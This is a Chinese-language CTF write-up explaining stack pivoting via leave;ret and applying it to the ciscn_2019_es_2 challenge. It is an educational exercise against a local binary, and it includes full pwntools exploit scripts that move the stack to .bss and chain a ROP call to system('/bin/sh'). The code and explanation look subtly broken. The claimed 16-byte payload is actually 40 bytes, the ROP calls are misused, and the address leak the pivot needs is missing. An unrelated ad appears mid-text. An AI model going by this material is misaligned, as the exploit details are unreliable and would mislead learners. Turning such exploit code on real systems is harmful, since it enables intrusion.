1. 栈迁移技术解析与实战应用
栈迁移(Stack Pivoting)是二进制漏洞利用中的一项高级技术,主要用于解决传统栈溢出时溢出空间不足的问题。当目标程序的栈空间非常有限,无法容纳完整的ROP链或shellcode时,攻击者可以通过精心构造的payload将栈指针(ESP/RSP)迁移到其他可控制的内存区域(如堆、bss段等),从而获得更大的利用空间。
1.1 栈迁移的核心原理
栈迁移的本质是通过修改栈指针寄存器,使其指向攻击者可控的其他内存区域。在x86架构中,主要通过以下两条关键指令实现:
asm复制leave ; 等效于 mov esp, ebp + pop ebp
ret ; pop eip
当程序执行leave指令时,会发生两个操作:
- 将EBP寄存器的值赋给ESP(栈指针指向当前栈帧基址)
- 弹出栈顶值到EBP(恢复调用者的栈帧基址)
结合ret指令,攻击者可以构造如下利用链:
- 通过初始溢出修改EBP的值,使其指向攻击者控制的内存区域
- 控制EIP执行
leave; ret指令序列 - 程序执行
leave时,ESP会被设置为伪造的EBP值 - 后续的
ret指令将从新的栈位置获取返回地址
1.2 栈迁移的典型应用场景
栈迁移技术常见于以下场景:
- 栈溢出空间极其有限(如只能覆盖返回地址和少量数据)
- 存在可预测地址的内存区域(如堆、bss段)可存放ROP链
- 程序开启了NX保护但未开启ASLR,或ASLR被泄露
- 需要构造复杂ROP链但原始栈空间不足
提示:栈迁移成功的关键在于找到合适的"新栈"位置,这个区域需要满足可写、地址已知/可预测、有足够空间三个条件。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. buuctf ciscn_2019_es_2题目分析
2.1 题目基本信息
这道题目来自2019年全国大学生信息安全竞赛(CISC)的初赛,是一个32位ELF程序,开启了NX保护但未开启PIE(地址随机化)。程序的主要漏洞是一个明显的栈溢出:
c复制void vuln() {
char buf[0x20];
read(0, buf, 0x30); // 溢出0x10字节
}
从代码可以看出,buf的大小是0x20字节,但read允许读取0x30字节,造成了16字节的溢出空间。这个空间非常有限,仅能覆盖:
- 原始的EBP(4字节)
- 返回地址(4字节)
- 额外8字节数据
2.2 漏洞利用的限制条件
通过分析,我们面临以下限制:
- 溢出空间太小(16字节),无法放置完整ROP链
- 程序开启了NX,无法直接执行栈上的shellcode
- 程序未开启PIE,.bss段地址固定
- 程序中有
read函数可以用于二次输入
2.3 利用思路设计
基于以上分析,解题思路如下:
- 第一次溢出:通过有限的16字节溢出修改EBP和EIP,实现栈迁移
- 将栈迁移到.bss段(地址已知且足够大)
- 在.bss段布置完整的ROP链
- 通过
read函数将ROP链写入.bss段 - 执行ROP链获取shell
3. 栈迁移的详细实现步骤
3.1 获取关键地址信息
首先需要使用pwntools获取程序的基地址和关键函数地址:
python复制from pwn import *
context(arch='i386', os='linux')
p = process('./ciscn_2019_es_2')
elf = ELF('./ciscn_2019_es_2')
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = elf.bss() + 0x500 # 选择.bss段中偏移量较大的位置
3.2 构造第一次溢出payload
第一次溢出的目标是实现栈迁移,需要精心构造16字节的payload:
python复制payload1 = b'A'*0x20 # 填充buf
payload1 += p32(bss_addr) # 覆盖原始ebp,使其指向.bss段
payload1 += p32(leave_ret) # 覆盖返回地址为leave;ret指令地址
这里的关键点:
- 将EBP覆盖为.bss段的目标地址(新栈位置)
- 将返回地址覆盖为
leave; ret指令的地址 - 总共正好16字节,充分利用了所有溢出空间
3.3 布置新栈上的ROP链
在栈迁移成功后,我们需要在.bss段布置完整的ROP链。典型的ROP链结构如下:
python复制rop = ROP(elf)
rop.raw(bss_addr + 0x100) # 新的返回地址,可以指向后续ROP链
rop.read(0, bss_addr, 0x100) # 调用read读取更多数据
rop.migrate(bss_addr + 0x100) # 再次迁移栈指针
# 发送第二次payload
payload2 = flat([
rop.chain(),
b'/bin/sh\x00', # 字符串参数
rop.system() # 调用system("/bin/sh")
])
3.4 完整利用代码示例
以下是完整的exploit代码:
python复制from pwn import *
context(arch='i386', os='linux', log_level='debug')
p = process('./ciscn_2019_es_2')
elf = ELF('./ciscn_2019_es_2')
# 获取关键地址
bss_addr = elf.bss() + 0x500
leave_ret = 0x080484b8 # 通过ROPgadget查找
read_plt = elf.plt['read']
# 第一次溢出:实现栈迁移
payload1 = flat([
b'A'*0x20,
bss_addr, # 新ebp
leave_ret # 返回地址
])
p.send(payload1)
# 第二次输入:在新栈上布置ROP链
rop = ROP(elf)
rop.read(0, bss_addr + 0x200, 0x100) # 读取更多数据到.bss段
rop.migrate(bss_addr + 0x200) # 将栈迁移到新位置
payload2 = flat([
rop.chain(),
bss_addr + 0x300,
rop.system(),
bss_addr + 0x300,
b'/bin/sh\x00'
])
p.send(payload2)
p.interactive()
4. 栈迁移中的关键技巧与注意事项
4.1 寻找合适的leave_ret gadget
leave; ret指令序列是栈迁移的核心,可以通过以下方法查找:
bash复制ROPgadget --binary ciscn_2019_es_2 | grep "leave ; ret"
在实战中,可能遇到没有直接leave; ret的情况,这时可以:
- 查找单独的
leave和ret指令,分步执行 - 使用其他等效指令序列,如
mov esp, ebp; pop ebp; ret
4.2 选择新栈位置的技巧
选择新栈位置时需要考虑:
- 地址是否可写(检查段的权限)
- 地址是否固定(PIE是否开启)
- 空间是否足够(至少0x100字节)
- 是否会破坏程序原有数据
.bss段通常是理想选择,因为:
- 地址固定(未开启PIE时)
- 空间通常较大
- 不会影响程序原有逻辑
4.3 栈迁移后的栈帧布局
迁移后的栈帧需要精心布局:
code复制新栈顶:
- 返回地址1
- 参数1
- 返回地址2
- 参数2
...
新栈底:
- 字符串数据(如"/bin/sh")
4.4 常见问题与调试技巧
-
迁移后程序崩溃:
- 检查新栈地址是否可写
- 验证EBP是否被正确设置
- 使用gdb跟踪
leave指令执行前后的寄存器变化
-
ROP链执行不完整:
- 检查栈迁移后ESP是否指向正确位置
- 验证每个gadget的地址是否正确
- 确保参数数量和位置匹配
-
内存地址错误:
- 使用
vmmap命令检查内存映射 - 确认所有地址都在有效范围内
- 使用
调试技巧:在关键指令(如leave)前插入
int3(\xCC)触发断点,方便观察寄存器状态。
5. 栈迁移技术的扩展应用
5.1 结合堆溢出的栈迁移
当程序同时存在堆溢出和栈溢出时,可以:
- 通过堆溢出控制堆上的数据
- 通过栈迁移将栈指针指向堆区域
- 在堆上布置ROP链
5.2 多阶段栈迁移
在空间极其有限时,可以采用多阶段迁移:
- 第一次迁移到临时位置(写入更多数据)
- 第二次迁移到最终位置(执行ROP链)
5.3 对抗ASLR的栈迁移
当ASLR开启时,可以:
- 先泄露内存地址(如通过格式化字符串漏洞)
- 计算目标区域的实际地址
- 进行精确的栈迁移
我在实际CTF比赛中发现,栈迁移技术经常与其他漏洞利用技术结合使用。比如在2019年的另一道题中,我通过栈迁移将栈指针迁移到堆区域,然后结合堆上的UAF漏洞实现了更复杂的利用。这种组合利用的方式往往能突破单一漏洞的限制,实现更强大的攻击效果。
对于初学者来说,建议从简单的题目(如本题)开始练习,重点掌握leave; ret指令序列的作用原理,以及如何计算和控制新栈的位置。熟练之后,可以尝试更复杂的场景,比如结合内存泄露、多阶段迁移等高级技巧。
